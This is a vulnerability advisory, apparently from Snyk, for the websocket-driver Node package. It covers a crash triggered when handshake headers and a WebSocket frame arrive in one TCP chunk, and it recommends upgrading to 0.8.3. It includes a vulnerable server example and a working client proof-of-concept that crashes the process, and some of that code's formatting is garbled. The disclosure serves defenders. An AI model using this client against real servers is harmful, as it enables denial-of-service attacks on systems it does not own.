Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade websocket-driver to version 0.8.3 or higher.
websocket-driver is a websocket protocol handler with pluggable I/O.
Affected versions of this package are vulnerable to Uncaught Exception via driver.io.write() being called before driver.start() in the websocket.http() driver. When a remote client sends WebSocket message data in the same TCP chunk as its handshake request headers, the Node HTTP upgrade event delivers that extra data as the body argument. Writing this non-empty body to the driver's I/O stream before start() is called triggers an unhandled exception because the RFC 6455 (hybi) parser is not yet initialised, crashing the process.
Given a server set up as follows:
const http = require('http') const websocket = require('websocket-driver')let server = http.createServer()
server.on('upgrade', (request, socket, body) => { if (!websocket.isWebSocket(request)) return
let driver = websocket.http(request)
driver.io.write(body) socket.pipe(driver.io).pipe(socket)
driver.messages.on('data', (m) => console.log({ m }))
driver.start() })
server.listen(5077, '127.0.0.1')
The following client opens a connection and constructs a buffer containing WebSocket handshake headers immediately followed by a WebSocket message. It writes this buffer to the socket as a single chunk.
const net = require('net')let socket = net.connect(5077, '127.0.0.1')
let httpMessage = Buffer.from( 'GET / HTTP/1.1\r\n' + 'Host: 127.0.0.1\r\n' + 'Connection: Upgrade\r\n' + 'Upgrade: websocket\r\n' +
Sec-WebSocket-Key: ${btoa('the sample nonce')}\r\n+ 'Sec-WebSocket-Version: 13\r\n' + '\r\n' )// FIN = 1, mask key 00 00 00 00, payload 'a' let maskedTextFrame = Buffer.from([0x81, 0x81, 0, 0, 0, 0, 0x61])
// the frame is sent in the same write as the handshake, // so it arrives in thebody(head) argument of the 'upgrade' event socket.write(Buffer.concat([httpMessage, maskedTextFrame])) socket.on('error', () => {})
On receiving this chunk, the server immediately crashes. After patching, the server prints the message the client sent.